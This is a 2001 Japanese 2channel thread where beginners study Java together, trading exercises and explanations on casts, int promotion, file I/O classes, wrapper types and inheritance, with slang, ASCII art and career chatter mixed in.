ヒント?? 10進数で書いても8進数でも16進数でもコンパイル時に2進数になります。 たとえば[ 255, 0377, 0xff ] はコンパイル時に2進数で[ 11111111 ]と記録されるので Javaではまったく同じ数になります。 実は文字定数もコンパイル時に2進数になります、 どのような数字になるかは文字コード表としてあらかじめ決められいて、 JavaではUnicodeとASCIIコードが使われます。 もちろんShift-JISなんかの日本語コードも扱えます。 コード表にはあるけどエディタで入力できない文字やそのままでは表示できない文字が、 エスケープシーケンスとして扱われます。 ですので[ \n ]などのエスケープシーケンスは実際には一文字なのです。 文字定数に限らずコンピュータではすべてのものが2進数として扱われます。
174 :
◎ :2001/07/13(金) 13:31
175 :
◎ :2001/07/13(金) 13:32
176 :
◎ :2001/07/13(金) 13:34
>>172 答え
何問出来ました?
つきは浮動小数点です。
間違っていたら教えてください。
今日買った本
JAVA PRESS VOL12
1280円
1/4も理解できんかったが・・・
アプレットでデータの登録画面をつくって、サーバー側のDBに
登録するには、どうするんだろうか?JAVABEANSってなに??
要は、JAVACHATがどうなってるんだろうって疑問に思って聞いてみただけっす。
jetchatとかすげーなーと思う。広告収入ではたいしたことなさそうだけど。
↓
ttp://www.jetchat.com/ ドキュソだなぁおれ。
あと、( ´∀`)と(゚Д゚;)の二次元配列ですが、おれは、
奇数行と偶数行をわざわざIFで振り分けていた。ドキュソだなぁ。
if(j % 2==0)←ドキュソース
新たな2ちゃん用語=ドキュソース
(ドキュソなプログラマーが書いた
長くて効率がわるくて、醜いソースのこと)
>◎ いつもありがとう、勉強になるよ。見捨てないでね。
179 :
ジャバーウォッキー :2001/07/13(金) 19:55
ただいまダウンロード中。 明日からまぜてね
180 :
◎ :2001/07/13(金) 21:01
問題 [ 123.456 ]と等しい表記なのは? (1)1.23456e+2 (2)12345.6e-2 (3)0.000123456e6 答えはメール欄 独り善がりに出題してウザイですよね。 とりあえずここで一区切りつけたいと思います。 暇があったらといてみてください基本点な問題ッスヨ。
181 :
◎ :2001/07/13(金) 21:04
>>177 これからですよ頑張ってください、あんまり卑屈になるとかえって出来ませんヨ。
>>178 わかる範囲でなら何でも答えますので質問してください。
>>179 よろしくー
◎さん助けて。 class AssignmentProblem { publid static void main(String args[]) { byte b1 = 1; byte b2 = 2; byte b3 = b1 * b2; System.out.println(b3); } } これはs3の宣言のところで右辺がintに拡張されるためにコンパイルエラーが でるらしいです。ところが実際はちがうところで三個もエラーがでます。なんで? それと右辺がなんでintに拡張されるんでしょう?あと問題の行を byte b3 = (byte)(b1 * b2); に変更してもやっぱり三個エラーでコンパイルできません。なんででしょう?
183 :
ほねっと :2001/07/14(土) 00:43
age
184 :
ほねっと :2001/07/14(土) 00:44
s3の宣言→b3の宣言
オレは C++の勉強。 始めてから数ヶ月過ぎてるけどまだわかんないよ。
第2章のDOS窓での実行に成功。
187 :
S3 :2001/07/14(土) 01:20
Vision 928
188 :
ほねっと :2001/07/14(土) 01:24
なんの第2章?
189 :
いちご味 :2001/07/14(土) 01:43
>>182 2行目
publid static void main(String args[]) {
は
public static void main(String args[]) {
では?
でもホントですね。
上記を修正しても、”精度が落ちる”とかでエラーが出る。
どうしてだろ?
public class AssignmentProblem { public static void main(String args[]) { byte b1 = 1; byte b2 = 2; int b3 = b1 * b2; System.out.println(b3); } } 掛け算すると int型じゃないと受け入れないのかな〜。 これで通ったけど。
192 :
いちご味 :2001/07/14(土) 02:26
>>190 その通りやるとうまくいきますね。
ちなみに、掛け算でなくても( / , + , - )エラーはでます。
うーむ。
うんこじゃばと同じ本の2章>ほねっと とりあえず、ソースファイルの拡張子と、 コンパイルの仕方と、実行の仕方の手順を学んだ。
194 :
伊澤 :2001/07/14(土) 02:32
ああ、俺も合流したい。べつにプロになるとかじゃなくて、 日曜大工とか趣味の電子工作とかそういうノリで。 理系じゃないからきついかな。
195 :
◎ :2001/07/14(土) 02:44
>>182 ほねっとさん
publid => public ですネ!
エラーの理由はJavaでは8ビットや16ビットのbyte, char, shotは、
計算されるとき32ビットのintとして扱われ、式の値もintになるからです。
そしてJavaでは大きい型から小さい型への変換は明示的なキャスト((byte)など)
が必要になります。
intになる理由は、32ビットのCPUは32ビットを扱うときが一番早いので
それを想定しているからではないでしょうか。
>>194 まずはやってみましょうよ!
196 :
ほねっと :2001/07/14(土) 02:53
ああ、おはずかしい。ミスタイプですか。 いまUOやってるので一区切りついたら修正してやってみます。
オレのU.O. いつのまにかはじめの一ヶ月過ぎてて 繋がらなくなってたよ。 操作も難しかったし。
198 :
ほねっと :2001/07/14(土) 03:17
>トラ猫 Blackなんとかって本?本は二冊あるけどもうちょっとあった方が いいみたい。すくないとわからないことが出たときに人に聞くしか なくなるから。
199 :
◎ :2001/07/14(土) 03:27
public class CastTest { public static void main(String args[]) { int a = 10; int b = 333; int c = a + b; System.out.println(c); byte d = (byte)(a + b); System.out.println(d); short e = (short)(a + b); System.out.println(e); } } (byte)や(short)がキャストです。 (a + b)を括弧でくくってあるのはa + bの結果をキャストしなさい という意味です。 この結果は[ byte b ]の値だけ343にはなりません。 byteは8ビットで、-128 〜 127の値しか取れないからです。 このように大きい型から小さい型への変換は値が変わることがあり、 Javaでは必ずキャストを付けるようになっています。 (byte)や(short)以外でも (char)(int)(long)(float)(double)も使えます。 浮動小数点型と整数型の変換も 値が変わることがあるので注意してください。
200 :
◎ :2001/07/14(土) 03:32
スマソ訂正 [byte b]の値だけ > [byte d]の値だけ
201 :
ほねっと :2001/07/14(土) 03:59
>>197 公式ページのアカウント管理からアカウントをアクティブにすれば
また出来ますよ。
202 :
◎ :2001/07/14(土) 04:01
>>199 と、解説するよりも本見たほうが早いですよネ。
でも、質問には答えますので何でも聞いてください。
203 :
ほねっと :2001/07/14(土) 04:14
本で独習ってのは限界ありますね。intにキャストされる理由がのってなかったり。 またよろしくお願いします>◎さん
でかいな32M。アナログテレホにはきつい。 ボタンだからイリア嬢にたのめないよ(涙
205 :
尻尾だけトラ猫 :2001/07/14(土) 05:11
207 :
◎ :2001/07/14(土) 10:11
>>203 いえ、あくまで仮定ですよ(w、ごめんなさい。
ほかに考えられる理由は、JavaはJavaVMなどハードウエアの仕様も
決めていますのでそこらへんの負担を軽くするためなのかもしれません。
こちらこそヨロシクッス
208 :
たた :2001/07/14(土) 10:17
サーブレットあたりまできたら合流します。
209 :
尻尾だけトラ猫 :2001/07/14(土) 10:21
ダメ板にこんなポジティブなスレッドの有り方があるなんて、 思っても見なかったなぁ。
210 :
ババ :2001/07/14(土) 11:45
僕は独学でJavaを学んで、2、3年くらいしてから やっと作りたいものが作れるようになったよ。 今までC、Java、scheme、Perl、VBAでプログラムを作ってきたけど Javaが一番面白い。きれいなGUI作れるし。
211 :
いちご水 :2001/07/14(土) 11:56
面白そうだね。。。
212 :
茄梨 :2001/07/14(土) 13:33
214 :
ジャバーウォッキー :2001/07/14(土) 21:06
参加しマース!
とりあえずスレ追いかけ中、で
◎ さんの
>>168 のソースをコピペでコンパイルすると
”\12288は不正な文字です。”
と山盛り出てきました。
ソースを見ながら自分で打ち込むとうまくいったんですが…
どういう現象なんでしょう?
215 :
◎ :2001/07/14(土) 22:23
216 :
いちご味 :2001/07/14(土) 23:31
>>214 そのままコピペすると、よけいなスペースとかが入っちゃうんで、
ちゃんと修正してからコンパイルしてみてください。
217 :
その蜩 :2001/07/14(土) 23:56
参戦しました。
>>214 あ、それ、私もやった!
コピペすると、全角スペースが入ってるんだよ(w
エディタで全角スペースを表示するようにして気が付いた。
(つかっているのはMKeditor(ふりー))
よおおおし、週末なのにせこせこコーディングしている そこの寂しい君に、問題! 第壱問 (゚Д゚;)が2000個詰まったテキストファイル(giko.txt) ”逝ってよし”を1500個テキストファイルに出力してみろ。itteyosi.txt それぞれ一行に10個づつ出力し、(゚Д゚;)と(゚Д゚;)の間には カンマを入れること。 giko.txt (゚Д゚;),(゚Д゚;),・・・・(゚Д゚;)改行 itteyosi.txt 逝ってよし,逝ってよし,逝ってよし・・・・改行 第弐問 さらに、666個目の(゚Д゚;)は、( ´∀`)に変換せよ。 以上だ、検討を祈る。
219 :
その他 :2001/07/15(日) 00:56
みんながんばっとるようだね ここで俺の恩師の大学教授が言った心に染みる名言を君たちに贈ろう 「JAVAのプログラムなんかなぁジャバジャバ作れば良いんだよ!ガハハハ!」 (実話)
220 :
ワイヤー :2001/07/15(日) 00:58
>219 今日一番感動した!マジデ!
222 :
ジャバーウォッキー :2001/07/15(日) 01:22
>>215 -217
アリガトウ!
なるほど、2ちゃん知識も動員すれば気づいたんですな。
全角スペース表示するようにしたヨ!(TeraPad)
ジャバジャバ作るぜ!
223 :
フィルター :2001/07/15(日) 01:25
今日一番感動した!マジデ!
224 :
info :2001/07/15(日) 01:29
>1 私も早速Javaを始めます!
ちょっと一息。
クラス?メソッド??オブジェクト??? カタカナ多いな。錯乱してきた(w
>>191 がわかりやすいかな。
まだまだ、コード書くまで行かないよ。
226 :
メラッサ :2001/07/15(日) 06:12
俺もダメ人間だけどJava覚えたら変われるかな? エッセンシャルJava ソフトバンク 2600円 iアプリJavaゲームプログラミング 毎日コミュニケーションズ 2200円 これだけ買ったサ
227 :
◎ :2001/07/15(日) 09:50
>>226 ゆっくり頑張りましょう。
簡単な問題も出しておきますネ。
問題
(1) メンバ変数(インスタンス変数)はどれ?
(2) ローカル変数はどれ?
public class Mona {
int o = 3;
byte mae;
public void omaeMona() {
int mo;
char na = '∀';
}
}
答えはメール欄
228 :
◎ :2001/07/15(日) 15:13
229 :
おれ :2001/07/15(日) 17:15
>>229 今申し込みした、もちろんJAVAを選択するよ。
JAVAをやるものには、追い風が吹いてるなぁ。
231 :
おれ :2001/07/15(日) 18:47
受験料5100円は高いか安いか。 一応国家資格だし受かれば安いもんかな。 受験者もどんどん増えてるみたいだし、 いよいよディジタルで育ったゲーマーチックなガキんちょが 社会の中心になる時代って感じ。
232 :
◎ :2001/07/15(日) 23:33
>>218 第一問できましたー。
第二問目は第一問で出力した"giko.txt"を変換すればいいのですか?
233 :
WEBマスター :2001/07/16(月) 01:49
| | 先生! BASICの本買ってきました! \__ ______________ V /■\∩ ( ´∀`)ノ _(つ ノ_ \ ̄ ̄ ̄ ̄ \ ||\ \ ||\|| ̄ ̄ ̄ ̄|| ̄ || || ̄ ̄ ̄ ̄|| || ||
>>232 まだできそうもないので、正解発表はちょっとまってくり。
変換すればOKです。
>>231 世界の中心にはなれませんよ。プログラムだけできるゲーマー野郎は
ビジネスでは、通用しないよ。コミュニケーション能力が不足してるから(藁 ケケ
JAVAが出来たとして、何に使うか、それをどのようにしたら役に立つのかが
重要かな・・・。俺はただ単に、あほみたいな単純作業を繰り返したくないので
プログラムを知っとくべきだと思っているよ。
235 :
◎ :2001/07/16(月) 14:46
第2問出来ました。 ちょっと汚いですが。
さげってるぞ
238 :
ほねっと :2001/07/17(火) 01:33
ファイル入出力は僕の本にはまだ出てこないので正解公開は 待ってください。
239 :
とうりすがり :2001/07/17(火) 01:56
>>237 そう言う時はデバッガを使おう
または
System.out.println("*** done.");
みたいなのをソースに入れてどこまで進んだか確認しながらやるといいよ
#つーか例外処理は難しいのでまだ気にスンナ
訂正 FileWriterのメソッドが例外を投げる可能性があり、それを受ける必要が あるのでtry{....}catch(Exception e){...}が必要 237の例でいくと try{...}内のファイル操作で例外が発生する可能性があり、例外が発生するとcatchまで処理が飛び、 例外をException eで受けて、System.out.printlnでどんな例外が起きたか表示する、となります。 例外が起きない場合はcatch内は無視します。 今の段階ではtry-catchはおまじないだと思って、try{...}の中にプログラムをかいとけばOK
>>239 -240
うう(T_T)。うれしいなぁ。そうゆう指摘があると
心強いありがとう。理解も早い。
>>237 ああJDEで C-c C-v C-d ってやるとデバックモードにはいるみたいですが、
よく使い方がわかってません。
JPS サーブレット使うページ増えてきてるような気がする。 気のせい??
243 :
ジャバーウォッキー :2001/07/17(火) 05:12
>>218 ぐうう、文字エンコーディング?が立ちはだかる・・・
どっちの問題もそれっぽい結果は得られたんだが・・・
とりあえず今日は寝るdeath
>>218 CSVファイルを配列にぶち込んで、666個めにアクセスして、それを( ´∀`)
に変換すればいいはずだが・・・。FileReaderで読み込んでそのあと
どうするかが・・TT。カンマがくるまで、ひとつの配列のなかにいれるってこと
だよね。ヒントプリーズ
245 :
◎ :2001/07/17(火) 08:46
Javaの例外処理はC言語の例外がある場合-1を返す…
よりもエラーの内容がわかりやすくなっています。
try〜catch(〜finally)文は例外が発生しない限り
負荷になったりしませんので必要なときには便利に使ってください。
APIドキュメントのjava.lang.Throwableにも解説が載っています。
上げました。
http://finito-web.com/circlet/Giko.txt (Giko.java)
>>237 メインの処理は同じでしたね。
例外はこういうよくない手抜きの方法もあります(w
246 :
◎ :2001/07/17(火) 14:10
>>245 PrintWriterは無理にかぶせなくてもいいし。
pw.flush();
はいらないですよね。
>>244 私はjava.util.StringTokenizerを使いました。
やべー難しすぎる、みなさーんレベル落としましょう。 ついていけなくなりそうだ。もんだいも簡単なやつで逝こう。
248 :
ジャバーウォッキー :2001/07/17(火) 18:04
>>218 第1問はなんとかできました。
で、みなさんのソース拝見したんですが、
new FileWriter(fileName) と
new BufferedWriter(new FileWriter(fileName)) と
new PrintWriter(new BufferedWriter(new FileWriter(fileName))) と
の違いがいまいちわからないです。
ちなみに自分は
new PrintWriter((new FileWriter(fileName))
こうしてました。
どういうケースのときにどれを用いるのが適切なんでしょうね?
249 :
ジャバーウォッキー :2001/07/17(火) 18:08
>>247 確かに第2問はムズカシイーヨ。
ぱっとみ簡単そうで奥が深いっつうか、、良い問題かも。
RandomAccessFileでやってるけどもうメタメタ。
250 :
:2001/07/18(水) 01:17
ζ / ̄ ̄ ̄ ̄\ / \ /\ \ / | |井井 (・) (・) | (6-------◯⌒つ | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | _||||||||| | < じゃばまんせー \ / \_/ / \________________ \____/ ______.ノ 人 (⌒) //::::::::|-、 ,-/::::::ノ ~.レ-r┐ / /:::::::::::| /:::::ノ__ | .| ト、 | /:::::::::::::::| 〈 ̄ `-Lλ_レ′ レ::::::::::::::::::|/::: ̄`ー‐---‐′
251 :
◎ :2001/07/18(水) 01:20
もう少し、テーマを絞った方がいいと思われ 文字操作、関数、クラス、継承、etcを一度に理解するのは結構難しい
どれの絞ってやりましょうか? というか、みなさんの進行状況を教えてください。
↑ どれに 鬱氏
>>251 違いがさっぱりわからん。やっぱ、レベル下げよう。鬱氏
256 :
いちご味 :2001/07/18(水) 04:52
257 :
◎ :2001/07/18(水) 08:21
Javaの入出力にはストリームという概念があって、
write(), read()が呼ばれるたびに処理が順番に流れていきます。
PrintWriter(new BufferedWriter(new FileWriter(fileName)))は、
PrintWriter => BufferedWriter => FileWriter => ファイル
という順番で呼ばれます。
BufferedWriterはバッファリングを行い、入力される文字を
ある程度まとめてwrite()するのでファイルへの書き込みが効率よくなります。
>>252 Javaですからクラス、継承に一票ス。
258 :
◎ :2001/07/18(水) 08:31
259 :
:2001/07/18(水) 18:19
漏れは数当てくらいを2日で取得したい ちゅーか来週面接があるのだ JAVA野郎をアピりたいぞ 出来るかな?いや、やるしかねぇ
260 :
泰治 :2001/07/18(水) 19:49
>>260 ジャバはサポートしないですって!!M$め・・・
ってことは、XPについているブラウザは、アプレットがうごかねぇってことか?
>>259 「JAVAが出来る」と面接で言うためには、相当な時間がかかると思うよ。
へたに、アピールすると入社したあとが、きつい。
まずは、クラス、継承、の基礎から逝くことにしましょうか。 漏れは、この辺がよく理解できてないなぁ。本読み直すことにするよ。
264 :
その他 :2001/07/18(水) 22:07
問い:「クラス」と「継承」の意味をドリフターズに例えて説明してください
>>262 いやスマン、JAVAを取得中と言いたいんだよ
少しは出来るようにならねば
ナニもしないよりはいい
それと今日インストールしたのだが2日じゃ無理か・・?
とりあえず本が無いと苦しいのだが
一応足し算引き算くらいまで出来るようになった
でもforとかifとかString[][] sなどが理解不能
数当ての道遠し
>>264 志村けんというクラス(class simura)には、バラエティーメソッドや、トーク番組
メソッドなんかがあって、アイーン変数や、変なおじさん変数がある。
ってドリフターズ自体がクラスなの?そこら辺がポイントかな?
もしかしたら、芸能人がクラスなのか?
よけい、わからん>266
なんか,ここ微笑ましくていいよ。応援してるゾ。
269 :
ジャバーウォッキー :2001/07/19(木) 00:55
>>257 解説ありがとうございます。
(new BufferedWriter(new FileWriter(fileName))
は常にセット。
PrintWriterもつけるとメソッドが増えて便利と。
入出力関係はとりあえず丸覚えかな。
今後はクラス、継承関係で進むということですね。
平行して
>>218 の第2問も引き続きがんばってみます。
オブジェクト指向の本も読みながら じゃないときつくならない? オレはC++を勉強してるけど 別に一冊用意してから少しだけ 勉強が楽になったような気がする。
「芸能人」というクラスがあってそのサブクラスに「志村けん」クラスがある この場合、「志村けん」は「芸能人」の一部である(「志村けん」is a one of 「芸能人」) ここで「is a」の関係に注目! この「is a」が成り立つような関係を「継承」という 一方、「ドリフターズ」には「志村けん」というメンバーがいる(「ドリフターズ」has a 「志村けん」) この場合、「has a」の関係が成り立つので「志村けん」は「ドリフターズ」のメンバである、といいます 別の書き方をすれば class 志村けん extends 芸能人{ public void 持ち芸をする(){ System.out.println("アイーン");} } class ドリフターズ { 志村けん メンバーその1; ・・・ } こんなかんじ? #こういう概念的な話も大切だけど、今の段階では #自分でコードを書いたり、他人が書いたコードを改造したり #バグで悩んだり、リファレンスの説明を読んだりして #経験値を溜めることに専念すべし! #そうすれば、突然レベルupして自分に驚く時が来るよ
>>271 なんとなく理解した('◇')ゞ
やっぱ理屈こねるより、そのほうが早道かもです。漏れもとりあえず
サンプルプログラムなどの改造で遊んでみます。
>>270 オブジェクト指向って常人の頭で理解でるかが、心配。
>>265 学生ならあり。そうでなければ、プログラムのことはまったく知りません
といったほうがお得かも。結局は、まわり(クライアントも含む)と
コミュニケーションが出来るかが重要だと感じた。
いくら、仕事できない人でもまわりが助けてくれて成長できることも
あるし。
漏れは、人見知り+無愛想なので、その辺はあきらめた。民間企業でやっていける
自信もない。JAVAと関係なくてすまん。
275 :
◎ :2001/07/19(木) 11:02
オブジェクト指向といっても特別なことはなく、
GUI(マウスで画面を操作するような環境)
を扱うのに従来のC言語などの構造化プログラミングでは
不便なこともあり、必要に迫られて選択されただけです。
ですのでまず概念ありきではなくある仕様には何らかの意味があるのですよ。
たとえば変数と関数(メソッド)を一まとめにし、他の関数が
不用意に変数を変更することがない(→クラス)とか。
プログラミングとはなれた難しい抽象的な概念なんて存在しません、
あったとしてもそれを採用した言語は一般的にはならないでしょう。
ですから
>>271 さんがおっしゃったように、
まずはクラス、継承とはなんぞや?よりも先に
Javaではクラス、継承はどうやるの?を覚えて、
実際のプログラミングで理解すればいいですヨ!
>>261 Javaプラグインでうごきますヨ!
Appletタグで動かない、プラグインが何MBもあるなどの問題もありますが。
>>269 頑張ってください、私はRandomAccessFileは使わないでファイルをリネームしました。
>>270 JavaはC++よりもオブジェクト指向が学びやすいですヨ(w
>>274 (・∀・)カコイイ!!
やっぱり本買ってきたよ 一気に難しくなった Math.cosとかMath.sinとか 今日は一日引きこもる予定 あと漏れは学生じゃないのでヤバいのだ
277 :
てst :2001/07/19(木) 21:20
てst
質問! みなさんの仲間に入りたいのですが MAC環境でもできるんですか?
できそう
280 :
ジャバーウォッキー :2001/07/20(金) 03:29
>>218 の第二問
チキショー!どうやっても RandomAccessFile は
read も write も文字化けするよ。実現できた人ご報告を。
で、FileWriterで全部上書きするプログラムを作ってみました。
すげー見苦しいっていうかドキュソース?
http://unkojava.omosiro.com/ にあぷさせていただきます。
ソースの批評とかはこっちのほうでやるということでよいのでしょうか? アップしたソースも直リンしていいのかな?
MacならOSXがいいよ 最初からjavacがついてるし、DevToolのProjectBuilder使えば デバッグも楽だし
283 :
うんこじゃば :2001/07/20(金) 05:21
>>281 直リンOK
がんがんサーバーに負担かけましょう。ケケ
284 :
うんこじゃば :2001/07/20(金) 05:25
>>281 拡張子をJAVAにしないと改行が・・・TT
スキルが未熟なのですまん。
286 :
真性初心者 :2001/07/20(金) 10:37
287 :
ほねっと :2001/07/20(金) 10:55
CPUがG3だけどアップグレードしたやつはOSX動かないよね。
288 :
真性初心者 :2001/07/20(金) 19:07
289 :
おれ :2001/07/20(金) 21:17
>>287 ドライバの対応しだい。
対応してるとしてもメモリ搭載量への条件は厳しいかもOSX。
>>285 ありがとう。
さっきもう一度試したけれどやっぱり
テキストファイルじゃないとだめって言われた。
自分の3.txtをダウンしたらポップアップ用javascriptがついてくるのに
4.javaはついてこないんだね。アップの仕方まちがってる?
>>284 !!ほんとだ!ブラウザで開くと改行がないんだ。
初めて知った。
普通に保存してからエディタで開いたら大丈夫だと思うけど・・・
>>290 あのジャバスクリプトは、広告用のやつですね。
えーと。めんどくさいですが、いったん.txtで保存して
それをむりやり.javaにリネームすればいいかもしれません。
それでもだめなら、あきらめるっと。
>>291 そのやりかたで復元は問題ないです。
けどソース読む人が面倒そうなんで、
自分は今後は別の場所にアップすることにしますね。
293 :
うんこじゃば :2001/07/22(日) 07:13
>>292 使用の強制はしないけど(^-^)/
直しました。
txtファイルでも大丈夫になりました。
強引に直した。↓
print IMAGE "<HTML><HEAD></HEAD><BODY><PRE>";
print IMAGE $in{$name};
print IMAGE "</PRE><BODY><HTML>";
こらー! 続きやれ! 初めての生産的(かどーかしらんが)スレだろ? 殺すだの死ぬだの言ってるよりいいじゃねぇか! age!
296 :
◎ :2001/07/22(日) 12:32
横からすいません。 マック環境。os8.6でも大丈夫ですか? みなさんの仲間に入りたいです。 しつこくてすいません。
298 :
仕様書無しさん :2001/07/22(日) 16:59
299 :
真性初心者 :2001/07/22(日) 21:19
>>298 ありがとうございます。
参戦予定です!よろしくっ!
ついでに300ゲット(笑
301 :
ファック :2001/07/23(月) 01:14
高卒の俺にも出来るだろうか?
302 :
ムショク :2001/07/23(月) 01:44
アツイヨォー クーラーホシイヨー オレモデキルカ?
303 :
できます! :2001/07/23(月) 02:57
できます!できます!できます!できます!できます! できます!できます!できます!できます!できます!
304 :
うんこじゃば :2001/07/23(月) 05:30
>>301 むしろプライドの低い高卒の方が、会社としては使いやすいし
プログラマとして雇ってもらいやすいのでは?
院卒、大卒は、変にプライドだけ高くて、使えないし(俺のこと)。
あーみなさんに、やる気のでる話。
知り合いの会社でオブジェクト指向でシステムの
設計が出来る人を雇っているらしいんだけど、
派遣会社に、一年契約で、3000万円払っているらしい。
一人にだよ。
途中で派遣会社がマージン取るにしても、すごい年収だろうなぁ〜。
オブジェクト指向が本当に実務で出来るひとは、数少ないらしいですな。
ってこのレベルに逝くには、無理かもなー( ´∀`)。
がははは。
ジャバ勉強しないで、こんなゲームにはまってる俺(゚Д゚;)。だめだこりゃ。
無料です。
↓
ttp://www.nexon.co.jp/tcommanders/
305 :
Hornet :2001/07/23(月) 10:00
class StringToInt21 { public static void main(String args[]) { String s = "125"; int i = Integer.parseInt(s).intValue(); i += 10; System.out.println(i); } } これコンパイルエラーが出るんですけど誤植でしょうか。parseIntをvalueOfに 変えると大丈夫なんです。
うー、全然進んでないJava
307 :
Hornet :2001/07/23(月) 10:12
テキストを一冊決めておくといいんじゃない? 本によってキーワードの出てくる順番が全然違うから。
308 :
Hornet :2001/07/23(月) 10:14
わたちもUOやってる時間の方がずっと長い。亀のような歩みです。
「オブジェクト指向開発の落とし穴」2900円 B.Fウェブスター著 プレンティスホール もらった本だが・・・読む気なくした。
310 :
なんちゃって詩人 :2001/07/23(月) 14:12
>>305 APIの本が今手元にないので何ともいえないが・・・
parseIntというメソッドはオブジェクトを返してくるのかな?
もしそうなら、返してくるオブジェクトにintValueというメソッドが無いのでは?
parseIntの引数はStringクラスではないということも考えられますね。
文字列を直接渡す形式かなら、StringクラスのtoString()を渡してみてはどうでしょう?
エラーの内容を書き込んでいただけると、より正解に近付けるのではかと思います。
311 :
おぱーい :2001/07/23(月) 14:38
まじっすか?
312 :
◎ :2001/07/23(月) 15:02
>>298 は1.1.8ベースですがSwingもあるので勉強には問題ないと思います。
>>301 -303できるヨ!
>>304 上を見れば上がいます何かしら得意なことがありますよ。
>>309 ステップアップですネ!
>>305 >>310 Integer.parseInt(String)が返す値はintですね。
intはプリミティブ型なのでそもそもメソッドはないのです。
クラスIntegerとintの違いがわかるよい問題なのかもしれませんネ。
Javaではすべてオブジェクトなのが理想的なのですが、
ハードウエアに近く処理のためのオーバーヘッドが無視できない
boolean, char, byte, short, int, long, float, doubleなどは、
プリミティブ型としてデータそのままに扱っているのですよ。
int型をオブジェクトとして扱うためのクラスがIntegerで、
その他のプリミティブ型にも同じようなクラス(ラッパークラス)があります。
APIドキュメントのパッケージjava.langを調べてみてくださいネ。
>>311 え?
313 :
◎ :2001/07/23(月) 15:06
311アゲ荒らしでした。
314 :
:2001/07/23(月) 16:14
マイクロソフトのバカ。
エロゲーROMどっかに無いかな? ワレズだけど。
317 :
:2001/07/23(月) 17:11
318 :
Hornet :2001/07/23(月) 17:15
ほんとはvalueOf() を使った例題をparseIntを使って書き換えなさいという
問題だったです。洋書の教科書によくあるひっかけて理解を深めさせようって
いう問題ですかね。もうちょっとクラスの章でとどまってよく理解しようと思います。
>>305 ,
>>312
319 :
:2001/07/23(月) 21:07
洋書呼んでるのか 全然だめじゃないじゃないか。
洋書読みたい 読めるようになるまで、どのくらいかかったの?
ハリーポーターと賢者の石 が原書で読んでみたいもんだ。 でもなぜ英語? ま、仕方ないが
322 :
:2001/07/23(月) 21:28
>>317 今からジャヴァやってもメリットないのかもねTT。C or C++からやりますかな・・・。
ということで、
o
/  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
/ このスレは無事に /
/ 終了いたしました /
/ ありがとうございました /
/ /
/ モナーより /
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
∧_∧ / /∧_∧
( ^∀^) / /(^∀^ )
( )つ ⊂( )
| | | | | |
(__)_) (_(__)
324 :
:2001/07/23(月) 23:36
マックはどうすればイイの? 氏ねっていうの?
325 :
信州人 :2001/07/24(火) 00:21
>>56 nanasi.javaっていうファイルのプログラム作って
それをコンパイルするとnanasi.classってファイルが出来るから
それをhtmlのファイルに埋め込むんだよ。
すんごい亀レスすんまそん。
326 :
彦もこり :2001/07/24(火) 00:37
>>323 != 1
webアプリ用のプログラミング言語といったら、JAVA。
携帯のアプリといったら、JAVA。
IBMが全社をかけて取り組むのが、JAVA。
取って代わるものは、今のところ見当たらないはずだけど、
それはそれで、そのときに対応すればよいだけの話で。
ひそかに、勉強させてもらっていますので、よろしく。
327 :
千尋たん :2001/07/24(火) 00:41
______ ,.-'" ̄ "''‐- 、 _,,. -─/ \ / / ヽ、 / / ,i ヽ, / ,l / / .| /l ヽ l l .| l | / | ,/ | , | | .!ヘ 、 | .| | | / ! / | l ,/ |l |. | | li | |. l, | l | //i.l.|ム--レ/_ |l _|L--、 | l/ ./ | L V |l _,,.-.、 ` "_.、-、 | | / / ト./ 'l | "i、,j ,) (_,,j ) .l | レ/ |::| `| | " '" '" |. | / l /::::l. | |: (二) _ 、 "゛゛ |. | ヒッキーはJAVAなの? . / /レ'| /::::::::ヽ┤ |:: |. | なんでかなぁ…。 / ./ /:::::::`::::::::::::::::::|. |::: l | | /| |:::::::i:::::::::::::::::::::::|. ll:::: -── ノl | V | |:::::::|:::::::::::::::::::::::::|. ||::il`'┐._ " _.-''゛ |. | .| |::::/|:::::::|:::::::::::::::::| |'|:ト|!┴-ニ'─--┬‐''" l.| ヽ |/ ヽ|:::l|;:::::::::::::::::|.| |l___  ̄─、ト 、__ i.| ヾ. |:/:::::::::;~‖___  ̄''‐-.__ ~`''-ニヽ ル-|:::::|/ __゛''‐- 、 '~‐ 、 .|、 |::;ノ'/ ~'''-、. `ヽ、 ~''‐-"ヾヽ、 _..--┴,/ \ \ \i
>>323 こらー、あんたが終了したらスレの士気にかかわるって。
実際
>>326 の言うとおりだと思うぞ。
CとかC++とかやってるやつはごろごろいるんだしさ。
今現在なら求人はJAVAのほうが強いって。
329 :
JAVA勉強中 :2001/07/24(火) 01:54
あげとこ。
330 :
うんこじゃば :2001/07/24(火) 06:06
>CとかC++とかやってるやつはごろごろいるんだしさ。 >今現在なら求人はJAVAのほうが強いって。 そ・そ・そうだな・・・。ジャバ→C# 黄金パターンで逝くか。 JAVA勉強中さん、発言してスレもりあげてね。 5年後を考えると鬱になるかも。 しかし、winをいじってるよりlinuxいじってる方がおもしろいしな。かなり、厨房だけど。 この影響を受けて、TOMCATとか開発中止になったらどうするんでしょう。 そんときゃ、本当に終わりですね。iアプリが2年後残ってるとは、 考えにくい。 JAVAしか出来ないひと<C++しかできない人 基本能力がたかいのは、C++の方ですが、JAVAはドキュソでも習得可能だと いうことで、JAVAを選択するしかないしね。 ああ、C#ってどう発音するんですか?
331 :
ジャバーウォッキー :2001/07/24(火) 06:40
>>296 うひゃー、InputStreamReader, OutputStreamWriter と
RandomAccessFile の絡ませ方が分からんかったので、
FileReader と getBytes() をつかって読み書き実現してみました。
◎ さんアドバイスありがとうございます。
が、しかし RandomAccessFile の書き込みは
挿入無しのどんどん上書きっっっ・・・!
てなわけで置換後のギコのずれを直せませんでした。
とりあえずアップします。
http://unkojava.omosiro.com/javajavascripts/6.txt 残り全部上書きだと RandomAccessFile 使う意味も無さそうなので
このやりかたではダメってことですかね。
332 :
ジャバーウォッキー :2001/07/24(火) 06:59
>>330 いや、なんかえらいことになってますね。
実際プログラムを仕事にしたら言語の移り変わりとか
しょっちゅうみたいだし結局はいろいろ覚えにゃならんのかな。
うんこじゃばさんだってプログラム知識0とか言いつつ
cgiいじってるじゃないですか(ありがとう、今後もあの板であぷします)
俺も基本情報技術者試験受けるつもりだけどJavaを選択するか
